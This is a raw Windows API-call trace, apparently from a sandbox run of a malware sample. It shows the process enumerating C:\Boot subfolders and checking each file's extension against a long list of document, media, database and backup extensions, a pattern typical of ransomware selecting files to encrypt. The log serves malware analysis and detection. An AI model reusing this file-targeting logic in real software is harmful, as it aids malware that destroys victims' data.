	[0166.688] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0166.688] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0166.688] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abb18
	[0166.689] FindNextFileW (in: hFindFile=0x6abb18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0166.689] FindNextFileW (in: hFindFile=0x6abb18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0166.689] FindNextFileW (in: hFindFile=0x6abb18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0166.689] FindNextFileW (in: hFindFile=0x6abb18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0166.689] FindClose (in: hFindFile=0x6abb18 | out: hFindFile=0x6abb18) returned 1
	[0166.689] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0166.689] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="qps-ploc", cAlternateFileName="")) returned 1
	[0166.689] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0166.689] FindFirstFileW (in: lpFileName="C:\\Boot\\qps-ploc\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abb18
	[0166.690] FindNextFileW (in: hFindFile=0x6abb18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0166.690] FindNextFileW (in: hFindFile=0x6abb18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12160, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0166.690] FindNextFileW (in: hFindFile=0x6abb18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0166.690] FindNextFileW (in: hFindFile=0x6abb18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0166.690] FindClose (in: hFindFile=0x6abb18 | out: hFindFile=0x6abb18) returned 1
	[0166.690] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0166.690] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1
	[0166.690] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0166.690] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abc98
	[0166.958] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0166.958] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9abff9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef597530, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x169a0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootres.dll", cAlternateFileName="")) returned 1
	[0166.958] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="en-US", cAlternateFileName="")) returned 1
	[0166.958] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4434fd8
	[0166.960] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\en-US\\*", lpFindFileData=0x3b4f584 | out: lpFindFileData=0x3b4f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x787, cFileName=".", cAlternateFileName="")) returned 0x6abe98
	[0166.960] FindNextFileW (in: hFindFile=0x6abe98, lpFindFileData=0x3b4f584 | out: lpFindFileData=0x3b4f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x787, cFileName="..", cAlternateFileName="")) returned 1
	[0166.960] FindNextFileW (in: hFindFile=0x6abe98, lpFindFileData=0x3b4f584 | out: lpFindFileData=0x3b4f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9baa67, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x31acad58, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x787, cFileName="bootres.dll.mui", cAlternateFileName="BOOTRE~1.MUI")) returned 1
	[0166.960] lstrlenW (lpString="bootres.dll.mui") returned 15
	[0166.960] lstrlenW (lpString=".1cd") returned 4
	[0166.960] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0166.960] lstrlenW (lpString=".3ds") returned 4
	[0166.960] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1
	[0166.960] lstrlenW (lpString=".3fr") returned 4
	[0166.961] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1
	[0166.961] lstrlenW (lpString=".3g2") returned 4
	[0166.961] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1
	[0166.961] lstrlenW (lpString=".3gp") returned 4
	[0166.961] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1
	[0166.961] lstrlenW (lpString=".7z") returned 3
	[0166.961] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0166.961] lstrlenW (lpString=".accda") returned 6
	[0166.961] lstrcmpiW (lpString1=".accda", lpString2="ll.mui") returned -1
	[0166.961] lstrlenW (lpString=".accdb") returned 6
	[0166.961] lstrcmpiW (lpString1=".accdb", lpString2="ll.mui") returned -1
	[0166.961] lstrlenW (lpString=".accdc") returned 6
	[0166.961] lstrcmpiW (lpString1=".accdc", lpString2="ll.mui") returned -1
	[0166.961] lstrlenW (lpString=".accde") returned 6
	[0166.961] lstrcmpiW (lpString1=".accde", lpString2="ll.mui") returned -1
	[0166.961] lstrlenW (lpString=".accdt") returned 6
	[0166.961] lstrcmpiW (lpString1=".accdt", lpString2="ll.mui") returned -1
	[0166.961] lstrlenW (lpString=".accdw") returned 6
	[0166.961] lstrcmpiW (lpString1=".accdw", lpString2="ll.mui") returned -1
	[0166.961] lstrlenW (lpString=".adb") returned 4
	[0166.961] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1
	[0166.961] lstrlenW (lpString=".adp") returned 4
	[0166.961] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1
	[0166.961] lstrlenW (lpString=".ai") returned 3
	[0166.961] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1
	[0166.961] lstrlenW (lpString=".ai3") returned 4
	[0166.961] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1
	[0166.962] lstrlenW (lpString=".ai4") returned 4
	[0166.962] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1
	[0166.962] lstrlenW (lpString=".ai5") returned 4
	[0166.962] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1
	[0166.962] lstrlenW (lpString=".ai6") returned 4
	[0166.962] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1
	[0166.962] lstrlenW (lpString=".ai7") returned 4
	[0166.962] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1
	[0166.962] lstrlenW (lpString=".ai8") returned 4
	[0166.962] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1
	[0166.962] lstrlenW (lpString=".anim") returned 5
	[0166.962] lstrcmpiW (lpString1=".anim", lpString2="l.mui") returned -1
	[0166.962] lstrlenW (lpString=".arw") returned 4
	[0166.962] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1
	[0166.962] lstrlenW (lpString=".as") returned 3
	[0166.962] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1
	[0166.962] lstrlenW (lpString=".asa") returned 4
	[0166.962] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1
	[0166.962] lstrlenW (lpString=".asc") returned 4
	[0166.962] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1
	[0166.962] lstrlenW (lpString=".ascx") returned 5
	[0166.962] lstrcmpiW (lpString1=".ascx", lpString2="l.mui") returned -1
	[0166.962] lstrlenW (lpString=".asm") returned 4
	[0166.962] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1
	[0166.962] lstrlenW (lpString=".asmx") returned 5
	[0166.962] lstrcmpiW (lpString1=".asmx", lpString2="l.mui") returned -1
	[0166.962] lstrlenW (lpString=".asp") returned 4
	[0166.963] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1
	[0166.963] lstrlenW (lpString=".aspx") returned 5
	[0166.963] lstrcmpiW (lpString1=".aspx", lpString2="l.mui") returned -1
	[0166.963] lstrlenW (lpString=".asr") returned 4
	[0166.963] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1
	[0166.963] lstrlenW (lpString=".asx") returned 4
	[0166.963] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1
	[0166.963] lstrlenW (lpString=".avi") returned 4
	[0166.963] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1
	[0166.963] lstrlenW (lpString=".avs") returned 4
	[0166.963] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1
	[0166.963] lstrlenW (lpString=".backup") returned 7
	[0166.963] lstrcmpiW (lpString1=".backup", lpString2="dll.mui") returned -1
	[0166.963] lstrlenW (lpString=".bak") returned 4
	[0166.963] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1
	[0166.963] lstrlenW (lpString=".bay") returned 4
	[0166.963] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1
	[0166.963] lstrlenW (lpString=".bd") returned 3
	[0166.963] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1
	[0166.963] lstrlenW (lpString=".bin") returned 4
	[0166.963] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1
	[0166.963] lstrlenW (lpString=".bmp") returned 4
	[0166.963] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1
	[0166.963] lstrlenW (lpString=".bz2") returned 4
	[0166.963] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0166.963] lstrlenW (lpString=".c") returned 2
	[0166.963] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1
	[0166.964] lstrlenW (lpString=".cdr") returned 4
	[0166.964] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1
	[0166.964] lstrlenW (lpString=".cer") returned 4
	[0166.964] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1
	[0166.964] lstrlenW (lpString=".cf") returned 3
	[0166.964] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1
	[0166.964] lstrlenW (lpString=".cfc") returned 4
	[0166.964] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1
	[0166.964] lstrlenW (lpString=".cfm") returned 4
	[0166.964] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1
	[0166.964] lstrlenW (lpString=".cfml") returned 5
	[0166.964] lstrcmpiW (lpString1=".cfml", lpString2="l.mui") returned -1
	[0166.964] lstrlenW (lpString=".cfu") returned 4
	[0166.964] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1
	[0166.964] lstrlenW (lpString=".chm") returned 4
	[0166.964] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1
	[0166.964] lstrlenW (lpString=".cin") returned 4
	[0166.964] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1
	[0166.964] lstrlenW (lpString=".class") returned 6
	[0166.964] lstrcmpiW (lpString1=".class", lpString2="ll.mui") returned -1
	[0166.964] lstrlenW (lpString=".clx") returned 4
	[0166.964] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1
	[0166.964] lstrlenW (lpString=".config") returned 7
	[0166.964] lstrcmpiW (lpString1=".config", lpString2="dll.mui") returned -1
	[0166.964] lstrlenW (lpString=".cpp") returned 4
	[0166.964] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1
	[0166.964] lstrlenW (lpString=".cr2") returned 4
	[0166.965] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1
	[0166.965] lstrlenW (lpString=".crt") returned 4
	[0166.965] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1
	[0166.965] lstrlenW (lpString=".crw") returned 4
	[0166.965] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1
	[0166.965] lstrlenW (lpString=".cs") returned 3
	[0166.965] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1
	[0166.965] lstrlenW (lpString=".css") returned 4
	[0166.965] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1
	[0166.965] lstrlenW (lpString=".csv") returned 4
	[0166.966] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1
	[0166.966] lstrlenW (lpString=".cub") returned 4
	[0166.966] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1
	[0166.966] lstrlenW (lpString=".dae") returned 4
	[0166.966] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1
	[0166.966] lstrlenW (lpString=".dat") returned 4
	[0166.966] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1
	[0166.966] lstrlenW (lpString=".db") returned 3
	[0166.966] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1
	[0166.966] lstrlenW (lpString=".dbf") returned 4
	[0166.966] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0166.966] lstrlenW (lpString=".dbx") returned 4
	[0166.967] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1
	[0166.967] lstrlenW (lpString=".dc3") returned 4
	[0166.967] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1
	[0166.967] lstrlenW (lpString=".dcm") returned 4
	[0166.967] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1
	[0166.967] lstrlenW (lpString=".dcr") returned 4
	[0166.967] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1
	[0166.967] lstrlenW (lpString=".der") returned 4
	[0166.967] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1
	[0166.967] lstrlenW (lpString=".dib") returned 4
	[0166.967] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1
	[0166.967] lstrlenW (lpString=".dic") returned 4
	[0166.967] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1
	[0166.967] lstrlenW (lpString=".dif") returned 4
	[0166.967] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1
	[0166.967] lstrlenW (lpString=".divx") returned 5
	[0166.967] lstrcmpiW (lpString1=".divx", lpString2="l.mui") returned -1
	[0166.967] lstrlenW (lpString=".djvu") returned 5
	[0166.967] lstrcmpiW (lpString1=".djvu", lpString2="l.mui") returned -1
	[0166.967] lstrlenW (lpString=".dng") returned 4
	[0166.967] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1
	[0166.967] lstrlenW (lpString=".doc") returned 4
	[0166.967] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0166.967] lstrlenW (lpString=".docm") returned 5
	[0166.967] lstrcmpiW (lpString1=".docm", lpString2="l.mui") returned -1
	[0166.967] lstrlenW (lpString=".docx") returned 5
	[0166.968] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0166.968] lstrlenW (lpString=".dot") returned 4
	[0166.968] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1
	[0166.968] lstrlenW (lpString=".dotm") returned 5
	[0166.968] lstrcmpiW (lpString1=".dotm", lpString2="l.mui") returned -1
	[0166.968] lstrlenW (lpString=".dotx") returned 5
	[0166.968] lstrcmpiW (lpString1=".dotx", lpString2="l.mui") returned -1
	[0166.968] lstrlenW (lpString=".dpx") returned 4
	[0166.968] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1
	[0166.968] lstrlenW (lpString=".dqy") returned 4
	[0166.968] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1
	[0166.968] lstrlenW (lpString=".dsn") returned 4
	[0166.968] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1
	[0166.968] lstrlenW (lpString=".dt") returned 3
	[0166.968] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1
	[0166.968] lstrlenW (lpString=".dtd") returned 4
	[0166.968] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1
	[0166.968] lstrlenW (lpString=".dwg") returned 4
	[0166.968] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1
	[0166.968] lstrlenW (lpString=".dwt") returned 4
	[0166.968] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1
	[0166.968] lstrlenW (lpString=".dx") returned 3
	[0166.968] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1
	[0166.968] lstrlenW (lpString=".dxf") returned 4
	[0166.968] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1
	[0166.968] lstrlenW (lpString=".edml") returned 5
	[0166.968] lstrcmpiW (lpString1=".edml", lpString2="l.mui") returned -1
	[0166.969] lstrlenW (lpString=".efd") returned 4
	[0166.969] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1
	[0166.969] lstrlenW (lpString=".elf") returned 4
	[0166.969] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1
	[0166.969] lstrlenW (lpString=".emf") returned 4
	[0166.969] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1
	[0166.969] lstrlenW (lpString=".emz") returned 4
	[0166.969] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1
	[0166.969] lstrlenW (lpString=".epf") returned 4
	[0166.969] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1
	[0166.969] lstrlenW (lpString=".eps") returned 4
	[0166.969] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1
	[0166.969] lstrlenW (lpString=".epsf") returned 5
	[0166.969] lstrcmpiW (lpString1=".epsf", lpString2="l.mui") returned -1
	[0166.969] lstrlenW (lpString=".epsp") returned 5
	[0166.969] lstrcmpiW (lpString1=".epsp", lpString2="l.mui") returned -1
	[0166.969] lstrlenW (lpString=".erf") returned 4
	[0166.969] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1
	[0166.969] lstrlenW (lpString=".exr") returned 4
	[0166.969] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1
	[0166.969] lstrlenW (lpString=".f4v") returned 4
	[0166.969] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1
	[0166.969] lstrlenW (lpString=".fido") returned 5
	[0166.969] lstrcmpiW (lpString1=".fido", lpString2="l.mui") returned -1
	[0166.970] lstrlenW (lpString=".flm") returned 4
	[0166.970] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1
	[0166.970] lstrlenW (lpString=".flv") returned 4
	[0166.970] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1
	[0166.970] lstrlenW (lpString=".frm") returned 4
	[0166.970] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1
	[0166.970] lstrlenW (lpString=".fxg") returned 4
	[0166.970] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1
	[0166.970] lstrlenW (lpString=".geo") returned 4
	[0166.970] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1
	[0166.970] lstrlenW (lpString=".gif") returned 4
	[0166.970] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1
	[0166.970] lstrlenW (lpString=".grs") returned 4
	[0166.970] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1
	[0166.970] lstrlenW (lpString=".gz") returned 3
	[0166.970] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1
	[0166.970] lstrlenW (lpString=".h") returned 2
	[0166.970] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1
	[0166.970] lstrlenW (lpString=".hdr") returned 4
	[0166.971] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1
	[0166.971] lstrlenW (lpString=".hpp") returned 4
	[0166.971] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1
	[0166.971] lstrlenW (lpString=".hta") returned 4
	[0166.971] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1
	[0166.971] lstrlenW (lpString=".htc") returned 4
